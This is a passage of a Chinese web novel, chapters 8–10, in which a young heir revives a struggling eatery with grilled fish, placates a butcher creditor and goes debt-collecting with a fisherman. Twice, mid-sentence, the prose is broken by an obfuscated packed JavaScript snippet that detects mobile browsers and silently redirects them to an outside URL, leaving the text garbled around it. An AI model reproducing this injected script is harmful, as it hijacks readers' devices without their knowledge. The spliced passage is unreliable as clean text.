老板夫郎一口咬下，神色都变了，一眨眼，半条鱼没了，鱼骨都不剩。 老板气得抢过来，咬了一大口—— 不得不承认，这炙鱼跟以往吃的都不一样，真是别有一份风味。 “气死我了这破鱼也太好吃了！那吕三娘手艺什么时候变这么好了？气死我了……” “叽里咕噜说什么呢，吃完给我擀面去！”老板夫郎夺过小鱼踹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224308|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他一脚，转头掏出七文钱给伙计，“去，再买两条，我就不信了，这还能每一条都好吃？” 温沅搬了个高凳坐在小摊子旁，听着人群高高低低的议论声，时不时把瓷碗里的铜钱倒入钱袋中。 这里人多，容易招惹些手脚不干净的偷子，转个头的瞬间就能顺走一把，一把没了可就白干了。 他想了想，瓷碗放着还是太招摇了，干脆起身收铜钱。 原先想趁机少给一两文钱的客人见状，只得又摸出铜钱。 没多久钱袋就差不多装满了，拿在手里沉甸甸的。 光听响儿，温沅心里的不安与紧张总算可以歇一口气。 这是个好的开头。 今日开门前，食肆每个人都起得极早，余浪更是天不亮入江捞鱼。 周七豆和郭巴子早早将食肆打扫干净，吕三娘和陈大立把今日用到的菜一一洗净，里里外外忙活了许久，就连陈贵礼都按时来上工了。 不敢说所有人齐心协力，但明面上无人敢拖后退。 钱袋装满后，温沅回到食肆，打算把铜钱倒入钱匣里，刚跨过门槛，便闻有一客人喊：“老板，菜怎的还没上？这也太慢了些！” 温沅连忙安抚道：“稍等，我去催一催。” 他原以为菜还未做好，谁料菜品堆在厨房门外的木柜上，周七豆和郭巴子又是点菜又是收拾桌子忙得脚不沾地，来不及送菜。 转头一看，掌柜的靠着柜台在发愣。 “陈掌柜莫不是听不到客人们的话？”温沅皱着眉。 陈贵礼惊醒，慌忙说：“少东家，我不在这处，一会儿结账无人收钱呢，这不好走开。” “现下可有人结账？”温沅问他。 陈贵礼一噎，万般不情愿地去上菜，菜端上桌，那客人一瞧，“这不是我点的菜，上错了吧？” “那是我的菜！”另一位客人说。 陈贵礼又得端过去，自他做了孙家食肆的掌柜，这番客座满堂的景象好些年没见过了。 细数起来，怕是三年前的事。 震得他回不过神的。 他没想到温沅的试菜真有些能耐，刚刚收钱时人太多，具体收了多少位客人的钱也不知道。 真的想立刻数一数到底挣了多少钱。 陈贵礼心里焦急又不得不按捺下来，这小少爷不过是运气好，炙鱼味香当然引得客来，这只是一时的，且今日卖都是鱼，再怎么挣也不可能挣上一两银子。 可看着满堂宾客，他不由得有些嫉妒，凭什么这小少爷运气这般好？ 再看那小少爷什么也不做就顾着收钱的模样，陈贵礼气得脑壳疼。 凭啥他一大掌柜就得给人上菜端茶送水！ 上完了菜，他回到柜台刚要数铜钱，又听温沅说。 “陈掌柜，”温沅折扇一点，“那是东五雅座上客人点的鱼蓉粟米羹，还有西三座的猪油春笋。” “来、来了……”陈贵礼不得不放下手中算盘。 杂货铺老板吃完到柜台前付账时，嘴一抹，“掌柜啊，你家这砂锅焖鲈鱼，味道真是正！自从出了青州城，我再没吃过这般正宗的味儿了，甚是怀念啊！” “真这般好吃？”陈贵礼满脸不信，他只在刚开始试菜的时候吃过，后面就没再关心过菜品究竟好不好。 “夸你家菜好吃，你还不信了？”杂货铺老板说。 陈贵礼脸色一变，“那自然不是……” “再给我包一份，我要带给家里娘子吃。” 杂货铺老板拎着食盒出门，刚走不远，又走回来对温沅说：“温老板，明日多留几条鱼，我要订一桌全鱼宴，我有几个朋友全是钓鱼好手，吃鱼讲究，得给我备够菜啊。” 温沅一愣，惊喜道：“您且来，定给您备好！” “生意兴隆啊！”杂货铺老板笑道。 8. 食肆整治（八） 菜肉行。 张屠户忙着下刀切肉，一刀下去就是四斤半肥瘦的五花肉，不多不少，他拿过一旁的麻绳串肉，正好听闻客人聊起温家食肆的热闹。 他这两日正想着再去找那姓温的少爷，骤然听到温家，随口问道：“温家食肆？哪条街巷的温家？” 那客人回道：“便是七里街原先叫‘孙家’的那一家，今日生意可红火。” 孙家？ 不就是欠了他不少债的那一家？ “当真红火？”张屠户自是不信，那小少爷看着就没什么本事，那日要不是余浪出手，也不能让人跑了。 “摆了个小摊做炙鱼，引了不少人去呢，倒是好手段。” 张屠户一把将菜刀钉在砧板上，决定拉上人去温家食肆看看。 既然生意红火，就该还钱了！ 温沅让郭巴子把客人带进去，一转头便看到张屠户四人气势汹汹地朝这边走来。 一看到这几人，被追得脚酸腿软的感觉又回来了。 他连忙把周七豆招呼过来，“七豆，把余□□出来。”说完张屠户等人已到跟前。 四人各自打量着食肆，张屠户双手叉腰正要说话，被温沅抢了先。 “张哥，里边请。”温沅笑道，“三娘啊，给几位烤两盘小鱼。” 张屠户没耐心跟他瞎扯，几步上前就想发难，却见一高大健壮的汉子从食肆内走出,默默站到了温沅身后，单手背在身后，神情淡然。 一见到那个高大健壮的汉子，张屠户登时想起那日的破竹，眼睛都不舒坦了。 这厮竟然真被这温少爷收下。 四人均想起那日打的架，一时之间真不好动手。 周围客人投来目光，议论纷纷。 趁着这个档口，温沅把人带了东六雅间，这是食肆唯一的雅间，门一关，里边发生了什么都无人得见。 张屠户压着气看了余浪一眼：“温少爷玩的什么把戏？别以为把人叫来就不用还钱了。” “自然不是，钱肯定会还。”温沅撩起衣摆坐下，笑道：“不过几位来了，怎么也得请几位吃顿饭，也谢谢几位给食肆赊账。” 说到肯定会还钱，几人都不太相信。 这时，周七豆端着两盘烤小鱼进来，刚出炉的炙鱼威力不容小觑。 带着清酸的食物总会让人忍不住口中生津，误以为自己肚饿发馋。 张屠户等人咽了咽口水，脸上松动不少。 “请。”温沅把小鱼移到四人面前。 张屠户等人对此不屑一顾，这点小恩小惠妄想收买他们！ 温沅并不将他们的态度放在心上，继续说：“有什么事，也得先吃了饭再说，炙鱼放久味道可就变了。” “几条小鱼就想打发……”张屠户拿起咬了一口，“嗯？” 这味道不对啊？ 他来食肆多次，还是第一次吃到这样口味的炙鱼，怪不得外头这么多人买。 炙烤小鱼刚吃完，几道硬菜辣烩鱼腩、砂锅焖鲈鱼、白玉鱼汤纷纷上桌，最后端上来一大盆大白米饭，量足管饱。 白送的晚食，不吃白不吃。 张屠户等人顾不上来之前的目的，闻着香大快朵颐。 吃完后，张屠户颇为意外地看了温沅一眼，这少东家看着年纪不过十六七，厨子这么烂的手艺都能被他救起，还挺有本事。 再看那如同煞神般的余浪，也不知使了什么手段，竟让其心甘情愿留在食肆做工，还给食肆供鱼。 一时间，对温沅的印象都改观不少。 “张哥，这新菜品如何？可还合口味？”温沅笑问。 张屠户用鱼刺剔了剔牙缝，哼了声：“也就那样。”说完舍不得把剔出的鱼肉丢掉，砸吧砸吧吞了。 温沅抽出折扇点了点桌面上的一碟菜，“这是时下最鲜嫩的鲈鱼，一盘五十五文，最肥美的鱼腩，一盘五十二文。” “食肆以前的确是千疮百孔，一滩烂泥，但现在欣欣向荣，一片光明，焕发新生——” “这价钱和别家食肆有什么区别？说到底，还是没钱，对吧？”张屠户一拍桌子。 余浪皱了皱眉，抬眼看去，张屠户倏地收回手。 “哎，别拍，鱼汤都被你拍撒了。”和张屠户一同来的人说。 “……”张屠户瞪了他一眼，“吃吃吃，就晓得吃！” “我瞧温少爷说得不错，就这味道，来日肯定能还钱。” 张屠户哼了一声没说话。 没说话就是有回旋的余地，温沅冲他笑了笑。 “既然没钱，逼死你也没用，之后我要时不时来你这瞧瞧，看看是不是如温少爷所说的欣欣向荣一片光明焕发新生。”张屠户说。 “欢迎光临。”温沅笑说。 温沅起身把人送走，走之前又一人送了两条炙鱼。 张屠户等人怒气冲冲地来，喜气洋洋地走。 “方才若是没有你的武力威胁，怕是不好把人送走。”温沅说。 余浪偏过头看他：“少爷，你想岔了。” “嗯？”温沅不解。 “他们是被你所做所说劝走的。”余浪说：“如若没有少爷严格把关的新菜品，他们不会相信食肆有希望。” “希望啊……”温沅喃喃道。 天边染上昏黄，街市上的行人渐渐变多，对于辛勤劳累了一天的人们而言，无比期待吃上一顿美味的晚食。 喷香可口的菜饭下肚，所有的疲惫统统散去，只剩饱腹后的松快。 因此，挑选一家好食肆美美地吃上一餐，尤为重要。 这时，焦香味传来，本就饿得肚子咕咕叫的路人脚步一转，径直往温家食肆去。 一整桶小鱼见了底，犹豫不决的几位客人闻言立即要了最后几条小鱼。 后边赶来的客人：“没了？我下了工特意赶来，竟然没了！” 七文买两条刷油上酱的炙鱼，鱼是新鲜的，油是实打实的，酱汁是入味的，这样的好事不常有，结果没买到！ “真没了？莫不是骗人？” “今日第一回做，备得不多，您若喜欢，可明日再来。”温沅说。 后面没赶上趟的客人听了此话，七嘴八舌喊着明日一定多烤些。 晚食过去，食肆最后一位客人离开，忙活了一整天的伙计们累得趴到了四方桌上。 这多少年没干过这么多活儿了，坐下的那一刻，双腿和双手似乎都不是自己的，抖得不像话。 郭巴子气若游丝：“再来一天，我会死。” 周七豆欲言又止。 “你想说甚？”郭巴子问他。 “食肆若是变好，这样的日子天天都是。”周七豆说。 “我就不爱跟你说话。”郭巴子说，“闭嘴吧。” “今日客人对新菜品都很喜欢。”周七豆到食肆当伙计这么久，首次见到这样热闹的场景，心里一直很兴奋。 “那不都是靠我？”陈大立得意道：“要没有我，哪有这么客人喜欢？” “那也是因为少东家试了菜啊……”周七豆小声说：“之前哪有这样。” 陈大立顿时不爽：“他就出张嘴，没有他我也能做，我之前就是不想做，你以为我不会？我会的多着呢！你个小哥儿你懂个屁！” 周七豆抿了抿嘴，没和他争辩，起身到外头和吕三娘一块儿收拾烤炉。 “狗腿子，就知道给少东家说好话。”陈大立啐了一口。 郭巴子趴在桌上翻了个大白眼，等歇够了才慢吞吞起身去打水擦桌子。 下工的时间到了，陈贵礼也没走，全心留意少东家什么时候算账，等温沅拿出钱匣，他立马凑了过来。 温沅开始算账，今日接待了约莫十八桌客人，过百文的客人有十桌，剩下的大多在八九十文，拢共收到二千零八十七文。 而外边的炙烤小鱼卖了有一百多条，四百三十文。 加起来是二两五钱十七文。 天呐！ 食肆多久没挣过这么多钱了！ 温沅提笔写完最后的账目，自己都懵了，他想到今日挣得不会少，但也只是想着能有个一两多足以，谁知竟超过了二两！ 若是每日都能挣二两，何愁还不上钱！ 陈贵礼瞪大双眼，顾不上别的，拿过算盘和账簿自己算了一遍，两遍 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“那就是大鱼三百二十二文，小鱼一百五十文。”温沅记下成本。 除开鱼，还有柴米油盐酱醋和香料，这些花了三百四十文，青菜花了六十九文。 人工也得算上，食肆里的人不少呢，光是掌柜，一个月就得四两月钱，大厨三两，伙计一两，而余浪的月钱没正式说过。 按护院来算月钱，少说得二两，这毕竟是份容易打架受伤的活计。 这样算来，人工得四百文。 成本拢共一千二百八十一文。 最后余下一千二百三十六文。 听起来似乎不少，但因为食肆不用给铺租，省去了铺租的钱，要是将铺租和商税算上，这个收入对于一家食肆而言只能算正常范围内。 且今日赠送小鱼引客，才能引来这么多客人，之后不再赠送小鱼，兴许会低一些。 但无论如何，第一日能挣到这么多，真真是令人惊喜！ 食肆其他人听到这个数目，那一瞬间都愣了。 吕三娘拉了拉周七豆的袖子，小声确认了一遍：“真是有一两二钱？” 周七豆呆呆地回：“好、好像是……” 吕三娘开始掰手指：“若是天天如此，是不是不用卖食肆了？” “是吧……”周七豆也不知道，但心里止不住高兴。 “这才第一天，只卖鱼不是长久之计，不过是回光返照罢了。”陈贵礼瞧不上他们的目光短浅，“食肆不卖能有什么出路。” 周七豆和吕三娘被掌柜的泼了冷水也没放心上，吕三娘忍不住回道：“少东家这般厉害，肯定会长久，食肆不卖。” 说完怕陈贵礼骂人，拉着周七豆走了。 “短浅！”陈贵礼呸一口，转头看到郭巴子在一旁看好戏，“犯什么懒？还不快干活儿去！” “干一天累死了，再说偷懒的是谁啊……”郭巴子背过身做了个怪脸，“下工下工，吃饭吃饭。” 陈贵礼脸都气歪了，直接收拾东西下工，走之前想把陈大立一块儿带走。 “叔父，少东家让我做好鱼吃呢，走这么早做甚？”陈大立说：“走了岂不是亏了？” “呸！”陈贵礼走了。 温沅收好账簿，转头看向余浪：“今日着急回家么？要不要留下吃晚食？” 余浪顿了一下，“好。” 温沅看他犹豫，想也没想就问：“家里有人等？”问完似乎意识到自己不该多问别人的私事，“抱歉，我——” “不是，没人等。”余浪说：“家中只有我一人。” “啊。”温沅不知该回什么好。 余浪看他尴尬得耳根都红了，失笑道：“少爷想知道的，我都可以说。” “也不用……”温沅无意打听别人的家事，刚刚也不知道怎么就多问了一嘴。 余浪笑着看了他一眼，有没有继续说。 温沅有些不自在，抽出折扇摇了摇：“吃饭去！” 9. 食肆整治（九） 第一日的炙烤小鱼广受欢迎，第二日余浪带来了四十多斤小鱼，二十八条大鱼，量绝对管够。 吕三娘早早把鱼腌上，周七豆和郭巴子把烤炉摆出去，没过多久，就有客人过来排队。 午时刚到，昨日定下全鱼宴的杂货铺老板带着五位好友如约而至。 “温老板，今日的鱼可是备够了？” “您尽管放心。”温沅把人带到东六雅间，吩咐周七豆上茶。 这可是重要的客人，伺候好了吃得美了，兴许能成为常客。 往常食肆都是一锅水泡几片茶叶，泡出的茶水毫无颜色，更别谈什么茶香。 温沅看不过去，特意拿钱让陈大立买了些大麦茶。 大麦茶清爽解渴，茶香四溢，一杯下肚解油解腻，最重要的是便宜，大多数食肆茶摊备的都是这个茶叶。 周七豆捻了一撮茶叶放入壶中，热水一冲，茶水有了色。 上完茶再点单。 雅间的客人不吝啬，一流菜名报过去，要了足足九个菜，且各个是硬菜。 他到后厨西门报菜名，报完后，见少东家叫他，连忙走过去。 “从前你们都是这般报菜名的？”温沅问。 周七豆点了点头：“是的。” “像今日这般点的菜多了，后厨能记住？”温沅再问。 “这……”周七豆挠挠脑门，“我也不知。” “先前有没有给客人上错过菜？” “我来食肆时，客人不像现在这般多，少有上错的时候。” “人多可就难说了。”温沅皱了皱眉，挥手让周七豆去忙了。 在青州城大酒楼吃饭时，温沅曾见过一种竹片子，上面画了小图案写了字，伙计会将对应客人点的菜的竹片挂到后厨木板上。 木板上的挂钩和酒楼的雅座相对应，哪一桌点的菜就挂到哪一个钩子上，大厨根据钩子的排序去做。 大酒楼的后厨一般分得较细，做肉菜、做素菜、熬汤、点心、刀工等等，甚至还会专门请一位记忆力好的帮厨专门记菜。 但食肆没这么多人，吕三娘一个人忙烤摊，后厨只有陈大立，记菜名这样的事多是周七豆和郭巴子边唱边记。 周七豆负责的是西边三张雅座，而郭巴子负责的是东边两张雅座，今日东六雅座来的人多了，郭巴子趁机换到了西边去，东边就交给了周七豆。 周七豆点单结束时唱一遍，这是为了让客人确认点的菜有没有错，到了后厨西门再高声唱一遍，这是为了让后厨知道要做的菜且让客人再一次确认菜品。 待到上菜时，还得再唱一遍，这一遍遍的报菜名，让食肆有一种热热闹闹的氛围，彷佛客人多到坐不下，点的菜多到放不下。 目前食肆的客人桌数并不多，一桌客人多时也就四个菜，少时就一碟菜一盆饭，光是周七豆和郭巴子两人足以。 不过温沅相信以后的客人不会少，因此竹片子还得早早备上。 他跑到后院找余浪。 余浪正忙着杀鱼，只见他手一划，鱼鳞片片掉落，水一冲再换面，剖开鱼腹掏出内脏清洗干净，最后来几下花刀就杀完了。 他把鱼放到瓷盘上就捞起一条新的，头也不抬地说了一句：“少爷，站远些。” 温沅停了下来：“怎么了？” “水脏，有腥味。”余浪抬起了头。 温沅闻言往后退了一步，展开折扇摇了摇：“你要不说，我都没注意到。” 他想了想，又说：“平时在你身上，好像闻不到鱼腥味。” 余浪手肘撑着膝盖看了他一眼，莫名挑了挑眉头。 温沅说时没多想，被他这么一看，扇子摇得更快了：“怎么？” 余浪测了侧身，把腰间垂挂的物什展示出来，温沅低头一看，看到那串熟悉可爱的小贝壳，小贝壳旁边还有一个绣着鱼样的香囊。 香囊下面坠着一颗小珠子，刚刚余浪侧身的时候，小珠子和小贝壳还碰撞出了细碎的小动静，不仔细听听不见。 “新做的香囊，里边是茶香。”余浪说。 温沅一愣，“……做香囊？你？” “嗯。”余浪说：“我。” 温沅难以想象这么高猛的男人拿着绣花针缝香囊是什么样，“你不是卖鱼郎么？竟然会做这个。” “上回的招幌就是我绣的，少爷忘了？”余浪说。 “我还以为那是你家里人——”温沅停了下来。 “不是。”余浪看着他。 温沅将心比心没有多问，也不肯承认自己心里徒然升起了些好奇。 余浪说：“我对爹娘没有记忆，是继娘养大了我，听她说，我爹抱着我逃荒到了垌渔村，后来入赘到了她家，没多久我爹就没了。” “她是垌渔村最厉害的渔娘，教了我许多手艺，打渔绣花拳脚功夫。” “功夫？”温沅微讶。 “嗯。”余浪点头：“阿娘水上功夫很厉害，打架一般但是她懂的多，我按她说的练，才懂了些拳脚功夫。” 这是懂一些拳脚功夫么？能大闹丁家食肆，还能在十几个汉子中全身而退，这不止是“一些功夫”了吧？ “她可真厉害。”温沅说。 “是。”余浪笑了一下。 温沅听着说不上心里什么感觉，他只知道他很羡慕。 同样是没有血缘关系，可他始终不被划分到“家人”的范围里，少时总以为爹娘忙碌顾不上他，直到真相被剖开。 他没敢再问余浪为什么家里只剩他一个人。 余浪似是看出了他的想法，接着说：“三月前，阿娘因病走了，所以现在家里只有我。” 温沅张嘴半晌，最后说：“节哀。” “少爷。”余浪挑起眉，“这是我主动说给你听的，你不需要觉得抱歉。” “你平时都这么……”温沅斟酌了一下：“善解人意？” 余浪有些好笑地看着他，反问道：“少爷觉得呢？” “可能？”温沅被他笑得用折扇遮住了半张脸。 “少爷刚找我什么事？”余浪问。 “险些忘了。”温沅想起来意：“我想请你砍些长竹做竹片子，上面简单画点菜品再写上字，每样菜品做十个，不过这个不急。” “行。”余浪说。 说是不急，但余浪在三日后天不亮就把长竹带来了，他一人肩扛两根粗壮长竹，竹子两端挂着两个大鱼篓，步伐轻快，一眨眼就到了食肆后门。 他进了后院把竹子和大鱼篓放下，转头看到小少爷窝在小椅子里吃包子，一口接着一口的，两腮塞得鼓鼓的，像只抱着松果啃的小松鼠。 “少爷。”余浪看了一会儿，走过去，“竹片子要做多长？” 温沅把最后一口包子塞进嘴里，想了想，伸出一只手掌：“这么长吧，一指半宽。” “好。”余浪转身到柴房找刀。 温沅吃饱了有些犯懒，一直窝着没动，就这么看着余浪进进出出。 余浪干活儿的时候，有一种说不出的利落，那双手也不知怎么长的，又长又粗的竹子到他手里，几下就成了段。 “你从小就做这些？”温沅问。 “嗯。”余浪点头，“编鱼篓用的都是竹子。” 温沅颇为意外：“那不漏水的鱼篓也是你编的？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224310|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是，有时不卖鱼就卖竹篓竹席。”余浪说。 “那你会做竹编的小鱼么？就是这样……” 温沅试着比划了一下，想起从前偷偷跑出府，到街上看到别人卖竹鱼，他带着一堆钱能买成千上百条，只是没人和他玩，买了也没用。 乃至于后来说不上遗憾还是后悔，总觉得那时他应该买一条，没人和他玩，便自己玩。 自己玩，也一样有乐趣。 余浪没说话，过了一会儿，他用长竹子勾着一个竹篾编成的小灯笼挑到了温沅面前，灯笼上插着一片竹叶，里面赫然放着一条竹编小鱼，小鱼尾巴是用竹皮做的，薄如蝉翼。 温沅慢慢睁大眼眸，“你的手也太快了……” “少爷喜欢么？”余浪问他。 “喜欢喜欢。”温沅眉开眼笑，轻巧地摘下小灯笼，放到掌心上细细看，越看越欣喜。 余浪看了一会儿小少爷细长微弯的眼尾，低头继续干活儿。 食肆现在不卖早饭，只做午食和晚食，午食要卖的炙鱼得早早腌制上，吕三娘一次性杀了二十几条小鱼放去腌，腌好了再回来继续杀。 三十多斤的小鱼处理起来得花不少时间，周七豆忙完了大堂的活儿也过来帮忙。 后院所有人都各自忙着，唯有温沅懒洋洋地窝在椅子里玩他的竹笼小鱼。 这时，采买回来的陈大立拉开后门，对温沅说：“少东家，我方才在路上碰到张老头，他说近一个月都不能给咱们食肆送菜。” 张老头是青苗寨的张阿爷，往常食肆的青菜多是由他送上门。 温沅皱了皱眉：“为什么？” “说是菜都让丁家食肆订完了。”陈大立说。 所有人都抬起了头。 “一个月都订完了呀？”吕三娘惊讶，“那菜可多呢。” “那这段时间你到菜肉行采买。”温沅说：“按现有菜牌上的菜品买。” “知道了少东家。”陈大立得了采买的活儿挺高兴，搓搓手，“那今天的菜钱？” “等等。”温沅起身去大堂柜台拿钱。 大堂里郭巴子坐在长椅上撑着下巴打瞌睡，听到脚步声一下蹦起，连忙拿布巾擦桌子：“少东家。” 温沅应了一声，从柜台下拿出钱匣，一本破旧的账簿从柜子里边掉了出来。 他捡起来拍了拍封面，竟是本没见过的账簿。 翻开一看，里边记录的全是来食肆吃饭赊账的客人。 有的客人还了赊，赊了还，慢慢清了账，有的赊账后，便没了还账的记录。 林林总总累计下来，有十五两之多。 这么多钱，全部追回来就能还一半债款！ 这时陈贵礼从门外进来，一眼看到温沅手中的账簿，登时停了下来，这本账簿他明明藏到柜台最里边了，怎么会被翻出？ 温沅抬起头：“陈掌柜，这账簿是怎么回事？” “这……”陈贵礼堆起笑走过去，“少东家刚到食肆时，说起要卖食肆，我就只顾着整理食肆的进出账簿，倒是把这个给忘了。” 温沅蹙起眉：“不管食肆卖不卖，赊出去的账都得还。” 真让你拿到这笔债款，你还能卖食肆？ 陈贵礼讨好地说：“是是，少东家说得对，都怪我疏忽，下次我一点注意，一定。” 温沅没再多说，从钱匣里数出一百文给郭巴子，“把钱给陈大立采买，再让余浪过来。” “好嘞！”郭巴子瞅了眼陈掌柜的神色，接过铜钱转身去了后院，没多久余浪来了大堂。 “少爷找我？”余浪问。 “对。”温沅拍了拍账簿，“随我追债去。” 10. 食肆整治（十） 温沅翻开账簿，点了点上面的地址，“东塘里街六巷李家，你可识路？” 余浪点头：“认识。” “行，走！”温沅喜道。 孙家食肆离东塘里街不远，走过去约莫两刻钟。 这会儿正值早市最热闹之时，许多挎着菜篮出来采买的妇人夫郎围在菜摊边上讲价。 细细听来，其中不乏各家食肆帮厨出来采买一天用的食材。 讨价还价的声音不绝入耳。 温沅一路走过，被迫记住了白萝卜三文钱一斤，蔓菁苗两到八文一把，马兰头三文一斤，野山椒十文一斤…… 这条街摆的多是菜摊，他没敢往菜肉行去，生怕遇到张屠户等人。这条街的尽头是逍遥赌坊，拐过赌坊便是东塘里街。 李家很好找，木门被横七竖八劈了数条刀痕的那一家就是。 温沅看着刀痕皱了皱眉头，刚想敲门，里头便传来一阵急促的脚步声，紧接着木门“唰”地被拉开。 一个乱发齐飞满脸络腮胡的瘦汉子出现在眼前。 “请问——” 温沅一句话没说完，瘦汉子慌慌张张地想要甩上门，被余浪一掌按停。 瘦汉子用力推了几下，纹丝不动，咽了咽口水，吼道：“你、你们谁啊！” “我是孙家食肆的东家。”温沅开门见山道：“之前你在食肆欠下酒钱拢共二两五钱许久未还，可还记得？” 瘦汉子一听，快速道：“你们认错人了！我不是什么李大富！” “我可没说你叫李大富。”温沅说。 李大富：“……” 余浪一把推开门，李大富被撞得后退了几步刚想开口叫骂，一抬头对上余浪黑沉的眸子，顿时噤了声。 温沅扫了一眼李家院子，晾衣架上挂着几件破烂衣裳，有大有小，除此之外，院子还算整齐。 此时堂屋里探出两个小脑袋，他刚看过去，小脑袋立即缩了回去。 他收回目光，翻开账簿，“二两五钱，还请清一下账。” 就在这时，一位妇人拿着扫帚从里屋冲出，对着李大富就是一顿打，“李大富你又去赌你又去赌！这个家迟早要给你输没！” 李大富连忙闪躲，“臭婆娘，你再敢打一下试试！你再打老子把你那小哥儿卖了！” “畜生！”妇人怒至极点，一个劲儿往李大富脸上招呼，“你敢卖，老娘跟你拼命！” “我怎么不敢！”李大富一把扯住扫帚，狞笑着叫：“小畜生就是个灾星，自打他出生，老子手气就没好过！老子迟早卖了他！” 温沅呼吸一窒，攥着账簿的指尖蓦地发白。 余浪蹙眉，低声唤：“少爷？” 温沅没说话，看着李大富躲开妇人回屋扯了个约莫两三岁的小哥儿出来，“你们不是要钱么？我把他卖给你们！肯定够还债了。” 小哥儿惊恐地往后退，拼了命地挣扎，后边跟出来的小汉子抱紧小哥儿，用力捶李大富的手，“放开放开！不许卖弟弟！走开！” “天杀的李大富！老娘跟你拼了！啊——” 温沅用力攥紧了账簿才克制住没把账簿甩到这人脸上，转过身低声说：“走吧。” 余浪扫了眼混乱的院子，跟着温沅走出去。 温沅快步走出院子，然而叫骂声不罢休地从后方追过来，不由分说地刺入耳中，他深吸了一口气，越走越快。 待到出了巷子，才猛地止步。 “……少爷？” 余浪离他两步远默默跟着，保持着合适的距离。 “……”温沅捂住额头叹了口气，抬起头笑笑，“要债还真是不易，这家不成，下一家罢。” 余浪看着他，“好，下一家是哪里？” 温沅翻开账簿，“下一家在——” 西塘里街一巷，钱老爷府邸。 来开门的是钱府管家，一听来意，哼道：“你家食肆做的香菇焖鸡那就一个难吃，还好意思上门要钱呢！” 温沅想到刚到食肆时吃过的面，不得不说，钱管家的话不是没有道理，但是…… “您觉得难吃退回便是，既然收下，还是得算清账。” “没有！”说罢想关门赶人，被余浪一脚卡住了大门，钱管家：“你干什么！抢钱啊！” “清账。”余浪说。 正巧钱老爷路过，问了一嘴，温沅刚想回话，那管家赶忙回身胡诌了句：“老爷，是两个来问路的人。” “钱老爷——” “孙家食肆是吧？”钱管家连忙打断温沅，“我可记住你们了，往后我钱府办宴席，绝不会找你家！” 他从袖子里掏出银子一把甩在地上，鄙夷地啐了一口，想关门却还是关不上：“钱给你们了，你们还想做甚！” 余浪看也不看地上的钱，沉声道：“钱没给到我家少爷手里。” 温沅挑眉看了他一眼。 钱管家：“……” 眼看着钱老爷往这边走来，钱管家慌慌张张掏出银子给温沅，“快走快走！” 银子到手，温沅冲余浪抬了抬下巴，余浪收回脚，大门“嘭”地关上。 钱府要债还算顺利，接下来几家，要么人不在，要么打发叫花子似的给一点儿了事，要么听闻来意遂后往地上一坐，嘴歪眼斜放声哭嚎，“要钱没有要命一条！你们打死我吧！” 这些人耍无赖咬死不还钱，一点法子都没有，真出手打一顿，怕是还得赔药钱。 要债真难…… 温沅数了数手里要回的一两三钱碎银，啧了一声。 “这是……最后一家？” 听到余浪话语间的迟疑，温沅抬头看去，愣住了。 前几家院子虽小，可到底是一家子住，然而这里却是五六户一起挤在一间旧院子里。 竹制的晾衣架七零八落地扎在地上，衣裳叠着衣裳排在枯竹上，飘荡的衣摆打满了补丁坑坑洼洼，孩童们举着大叶子从衣裳间穿过，猛地冲到二人跟前。 孩童睁着大眼睛看向两个陌生的哥哥，好奇道：“你们是谁呀？” 温沅见他身上衣裳虽是缝缝补补但十分干净，“我们来找杨木东师傅，你们可认得他？” “认识！”孩童举着大叶子指向一间老屋，“那就是杨爷爷家。” 屋子虚掩着门，内里黑漆漆一片，泛着苦的药味萦绕周围，天崩地裂的咳嗽声从里头传出。 温沅和余浪对视一眼，走了过去。 余浪敲了敲门，不一会儿一位年纪三十左右的汉子端着破碗从里面出来，汉子见了二人，顿步问道：“你们是？” “我们是孙家食肆的人。”温沅说：“来找杨木东杨师傅。” 杨光一愣：“他是我爹，你们找他何事？” “前些日子杨师傅在孙家食肆欠下二钱酒钱……”温沅听着里头传出的咳嗽声，说得有些犹豫。 杨光涨红了脸，关上门引二人到另一处，踌躇道：“对不住……您二位能否宽限我一些时间？我、我……” 他抓着破碗说得坎坷，这种话一听就是推脱，十分难为情，“我爹生了病，家里积蓄都花完了……” 断断续续的咳嗽声传来，温沅沉默了一会儿，心下一叹，“待你手头宽裕再说罢。” “多谢、多谢二位！”杨光不停弯腰作揖，见他们要走，连忙说：“二位若是不嫌弃，我家里种了不少菜，我给二位摘点，实在是对不住。” 温沅刚想拒绝，杨光已转身往后院走去，拦都拦不住，无奈只得跟过去。 穿过后院门，竟是一大片菜地，菜地比前面院子还大，绿油油水灵灵的青菜在阳光下显得十分清新。 杨光二话不说拿起一旁的大菜篮子去摘菜，没一会儿就堆成了小菜山。 温沅看着那小菜山头皮发麻：“不用这么多……” 杨光说：“这菜是自家种的，可好吃了，您千万别客气。” “往常这菜都是往城里大酒楼送的，就是这几个月酒楼换了送菜农，眼瞅着就得烂在地里，您能吃就吃，不能吃扔了便是。” 温沅闻言眼前一亮，食肆不正好缺菜么？ “您的菜什么价？合适的话，不如往温家食肆送。” 杨光有些懵地抬起头，手足无措地报了价：“您真要的话，白萝卜两文一斤，马兰头三文一斤，野山椒八文，还有别的我都给您少点。” 温沅对比了方才街市上听到的价钱，这可算是意外之喜了，“明日你到城东七里街的温家食肆送菜，就送……就送……” 完蛋，他压根没记住食肆里有什么青菜的菜品，印象最深还是春笋，因为上回的菜农说这时节的春笋最好吃，贵了两文。 “春笋、马兰头、韭菜、荠菜…… 